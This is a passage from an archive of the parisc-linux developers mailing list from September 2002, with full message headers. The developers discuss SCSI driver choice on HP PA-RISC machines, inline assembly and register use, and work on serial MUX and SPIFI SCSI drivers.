company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Making SYM2 default SYM-SCSI driver instead of
 SYM1
Date: Fri, 13 Sep 2002 20:44:34 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <3D824E32.2060301@freebel.net>
References: <3D8212E7.6000609@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621712 13896 80.91.229.3 (22 Nov 2014 02:01:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 13:41:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0D654829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 13:41:29 -0600 (MDT)
Original-Received: from freebel.net (62.235.68.83) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D381606009813A1; Fri, 13 Sep 2002 21:40:41 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16111

Hi Thibaut,

Thibaut VARENE wrote:
> Hi fellows !
> 
> Paul Bame has noticed a problem that seems to occur on B2600 with SYM1 
> driver, causing the box to slow down everything and increasing the 
> loadavg, while top reports 99% idle.
> 
> When this happens, one can hear HD making strange noise: two grouped 
> "ticks" every 2 seconds or so.
> 
> I have experienced this behavior by myself, and it seems that using SYM2 
> driver solves this problem.

At a moment it solved also this problem of disk on my b2k. So for 
severall month now, I use only SYM2 on this b2k.

More over as on a b180 I notice that SYM2 driver could also be used 
also, I test it with same success.

(sorry I could not any more test on 712)

Good idea,
	Joel




From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] Inline Assembly Help request]
Date: Fri, 13 Sep 2002 21:39:42 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <3D825B1E.3090701@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621713 13899 80.91.229.3 (22 Nov 2014 02:01:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 14:35:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5342E4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 14:35:07 -0600 (MDT)
Original-Received: from freebel.net (62.235.68.83) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D38160600984BF6; Fri, 13 Sep 2002 22:35:05 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16112

Paul Bame wrote:
 > As jda mentioned, the ex_table stuff is a bit complex.  You can find out
 > how the x86 exception table works in linux/Documentation/exception.txt
 > but parisc is a little different.
 > I leave it to you to locate the relevent
 > exception handler somewhere in arch/parisc/kernel/  A thorough 
understanding
 > of the exception handler method is necessary to understand and/or change
 > the code you are working with.
 >
is it do_page_fault (in fault.c) which use  search_exception_table(...)?

Thanks,
	Joel


PS: Do you have an idea how may I figure out in which registers are
stored the two parts of a 64bits int (always contigus) or would it be
better to work with x address (in put_user_asm("stw",x,ptr)).

I also presume that there is noe way for gas to simulate (some kind of
macro ) std and ldd from pa2 onto pa1. It would be too easy :)?





From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: Re: [parisc-linux] Inline Assembly Help request]
Date: Fri, 13 Sep 2002 16:49:39 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200209132049.g8DKneZ1012121@hiauly1.hia.nrc.ca>
References: <3D825B1E.3090701@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621713 13901 80.91.229.3 (22 Nov 2014 02:01:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 14:49:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 053514829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 14:49:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8DKnf00012122;
	Fri, 13 Sep 2002 16:49:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8DKneZ1012121;
	Fri, 13 Sep 2002 16:49:40 -0400 (EDT)
In-Reply-To: <3D825B1E.3090701@freebel.net> from "Joel Soete" at Sep 13, 2002 09:39:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16113

> PS: Do you have an idea how may I figure out in which registers are
> stored the two parts of a 64bits int (always contigus) or would it be
> better to work with x address (in put_user_asm("stw",x,ptr)).

There is no hard and fast rule.  The treatment used by GCC is defined
in HARD_REGNO_MODE_OK in pa32-regs.h.  Currently we used consecutive
pairs of registers.  This may be subject to change though.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MUX driver on E55
Date: Fri, 13 Sep 2002 23:59:59 +0200
Organization: private
Lines: 23
Approved: news@gmane.org
Message-ID: <3D825FDF.CD6E8CE2@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621713 13903 80.91.229.3 (22 Nov 2014 02:01:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:53 +0000 (UTC)
To: Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 15:59:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAE7C4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 15:59:43 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020913215937.BSUU28026.viefep13-int.chello.at@gmx.at>;
          Fri, 13 Sep 2002 23:59:37 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16114

Hallo Ryan !

Congratulation, your MUX driver on port 0 is really
working on my machine !!

What do you miss to support the other lines ?
Have you already knowledge of the data structure ?
Can I help you here in the code ?

Another point: you mentioned the skeleton of the
SCSI SPIFI driver. Where can I find that ? I only
found a NetBSD code, which I will use as functional
template, but I do not know, if this would be enough.
Can you give me a hint in this point ?

Christoph


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MUX driver for multiple ports (lines)
Date: Sat, 14 Sep 2002 00:25:10 +0200
Organization: private
Lines: 21
Approved: news@gmane.org
Message-ID: <3D8265C6.16ECEBB@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621713 13906 80.91.229.3 (22 Nov 2014 02:01:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:53 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 16:24:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B7584829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 16:24:50 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020913222448.ELRP25713.viefep11-int.chello.at@gmx.at>;
          Sat, 14 Sep 2002 00:24:48 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16115

Hallo Ryan,

have you already got docu on the serial MUX board ?
Or where do you have the information about `#define's
from. Is the MUX_LINE_OFFSET (= 0x80) the key point.

I have tried to access the board at
	membase + MUX_OFFSET + line * MUX_LINE_OFFSET,
but the first write access to /dev/ttyB1 results in
a hang up (completely, even no network interrupts
were processed !).

Operates the MUX driver in polling mode ? Not in IRQ mode ?

Christoph

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: MUX driver for multiple ports (lines)
Date: 13 Sep 2002 18:04:09 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <1031961850.930.7.camel@beavis>
References: <3D8265C6.16ECEBB@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621714 13908 80.91.229.3 (22 Nov 2014 02:01:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:54 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 18:04:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 430494829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 18:04:12 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id E6C322E3EF; Fri, 13 Sep 2002 18:04:09 -0600 (MDT)
In-Reply-To: <3D8265C6.16ECEBB@gmx.at>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16116

Hello Christoph,

No, I still have not found any documentation on the
Serial Mux driver.  The work I did was referenced
off the HP-UX mux driver.

>From what I can see, the 0x80 (MUX_LINE_OFFSET)
is the offset between the mux registers for each
line.  I have not tried to hook up multiple lines
yet but I believe the skeleton is there.  Did the
box HPMC?  Can you get a TOC and read the IAOQ to
see what caused the crash?  Maybe we need to add
additional locking to the driver, etc.

The mux only operates in a polling mode.  The HP-UX
driver also polls (I don't see anywhere in the driver
where it could create/cause/catch an interrupt).

I will be out this weekend, but back early next week.
Let me know what you find, and I'll take a poke and
see if I can help!

Thanks,

- Ryan


On Fri, 2002-09-13 at 16:25, Christoph Plattner wrote:
> Hallo Ryan,
> 
> have you already got docu on the serial MUX board ?
> Or where do you have the information about `#define's
> from. Is the MUX_LINE_OFFSET (= 0x80) the key point.
> 
> I have tried to access the board at
> 	membase + MUX_OFFSET + line * MUX_LINE_OFFSET,
> but the first write access to /dev/ttyB1 results in
> a hang up (completely, even no network interrupts
> were processed !).
> 
> Operates the MUX driver in polling mode ? Not in IRQ mode ?
> 
> Christoph
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 




From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: MUX driver on E55
Date: 13 Sep 2002 18:13:19 -0600
Lines: 68
Approved: news@gmane.org
Message-ID: <1031962399.930.17.camel@beavis>
References: <3D825FDF.CD6E8CE2@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621714 13910 80.91.229.3 (22 Nov 2014 02:01:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:54 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 18:13:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F3E34829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 18:13:21 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 8D7262E3EF; Fri, 13 Sep 2002 18:13:19 -0600 (MDT)
In-Reply-To: <3D825FDF.CD6E8CE2@gmx.at>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16117

On Fri, 2002-09-13 at 15:59, Christoph Plattner wrote:
> Hallo Ryan !
> 
> Congratulation, your MUX driver on port 0 is really
> working on my machine !!

Glad to hear that!

> What do you miss to support the other lines ?

I am not sure, I've never tried to hook up additional
lines.  I do have an 8-port MDP somewhere, I'll look
for it here shortly, and see if I can hook it up.

> Have you already knowledge of the data structure ?

Just what I have added into the driver.  If there is 
something that we are obviously missing, I can go back
and reference the HP-UX mux driver and see what is
missing.

> Can I help you here in the code ?

Please! :)  I do not use multiple lines currently ...
I only use the line 0, so any testing, optimizing, etc
is greatly appreciated!

> Another point: you mentioned the skeleton of the
> SCSI SPIFI driver. Where can I find that ? I only
> found a NetBSD code, which I will use as functional
> template, but I do not know, if this would be enough.
> Can you give me a hint in this point ?

I have it on my local system.  It is _very_ ugly at this
point.  I have got enough to query information from the 
spifi chip, register an interrupt, etc... but currently
I can not get the spifi chip to actually generate an
interrupt.

I would be happy to send you a copy when I get back next
monday (unless you catch my in the next hour or so), but
I'm not ready to check it into CVS yeah until I get rid
of the some ugly hardcoded hacks, global variables, etc.
Right now the driver is really coded to gather info from
the ESIEE E35 that I have been testing on.  Once again,
I do not have any docs on the chipset, I am using both
the NetBSD and HP-UX drivers as reference. :(

The driver should be easy to modify for your specific E55,
but not sure if you are interested in that level of work,
messyness now.  I promise it will get much better :)

Thanks,

- Ryan


> Christoph
> 
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 




From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: MUX driver on E55
Date: Sat, 14 Sep 2002 02:25:24 +0200
Organization: private
Lines: 90
Approved: news@gmane.org
Message-ID: <3D8281F4.F03A2007@gmx.at>
References: <3D825FDF.CD6E8CE2@gmx.at> <1031962399.930.17.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621714 13913 80.91.229.3 (22 Nov 2014 02:01:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:54 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 18:25:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F2A54829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 18:25:05 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020914002502.CWEW28026.viefep13-int.chello.at@gmx.at>;
          Sat, 14 Sep 2002 02:25:02 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16118

Hello,

if it is possible, send the code to me (perhpas I can
have a look @ week end.

Is it possible to geht the HP-UX driver codes for those
to things ? MUX + SCSI ?

I was offered to sign a NDA, but then nothing happens ...
It would be more easy for me to read such original HP-UX
code. Perhaps you see a possibility to send it also.

Have a nice week end

Christoph



Ryan Bradetich wrote:
> 
> On Fri, 2002-09-13 at 15:59, Christoph Plattner wrote:
> > Hallo Ryan !
> >
> > Congratulation, your MUX driver on port 0 is really
> > working on my machine !!
> 
> Glad to hear that!
> 
> > What do you miss to support the other lines ?
> 
> I am not sure, I've never tried to hook up additional
> lines.  I do have an 8-port MDP somewhere, I'll look
> for it here shortly, and see if I can hook it up.
> 
> > Have you already knowledge of the data structure ?
> 
> Just what I have added into the driver.  If there is
> something that we are obviously missing, I can go back
> and reference the HP-UX mux driver and see what is
> missing.
> 
> > Can I help you here in the code ?
> 
> Please! :)  I do not use multiple lines currently ...
> I only use the line 0, so any testing, optimizing, etc
> is greatly appreciated!
> 
> > Another point: you mentioned the skeleton of the
> > SCSI SPIFI driver. Where can I find that ? I only
> > found a NetBSD code, which I will use as functional
> > template, but I do not know, if this would be enough.
> > Can you give me a hint in this point ?
> 
> I have it on my local system.  It is _very_ ugly at this
> point.  I have got enough to query information from the
> spifi chip, register an interrupt, etc... but currently
> I can not get the spifi chip to actually generate an
> interrupt.
> 
> I would be happy to send you a copy when I get back next
> monday (unless you catch my in the next hour or so), but
> I'm not ready to check it into CVS yeah until I get rid
> of the some ugly hardcoded hacks, global variables, etc.
> Right now the driver is really coded to gather info from
> the ESIEE E35 that I have been testing on.  Once again,
> I do not have any docs on the chipset, I am using both
> the NetBSD and HP-UX drivers as reference. :(
> 
> The driver should be easy to modify for your specific E55,
> but not sure if you are interested in that level of work,
> messyness now.  I promise it will get much better :)
> 
> Thanks,
> 
> - Ryan
> 
> > Christoph
> >
> >
> > --
> > -------------------------------------------------------
> > private:      christoph.plattner@gmx.at
> > company:      christoph.plattner@alcatel.at
> >

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OT HP-UX Formatting Scsi disks
Date: Sat, 14 Sep 2002 09:04:43 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20020914090440.D30097@neep.com.au>
References: <sd78d3a1.013@ms-zrt1> <20020913062639.20473.qmail@web12503.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621715 13916 80.91.229.3 (22 Nov 2014 02:01:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
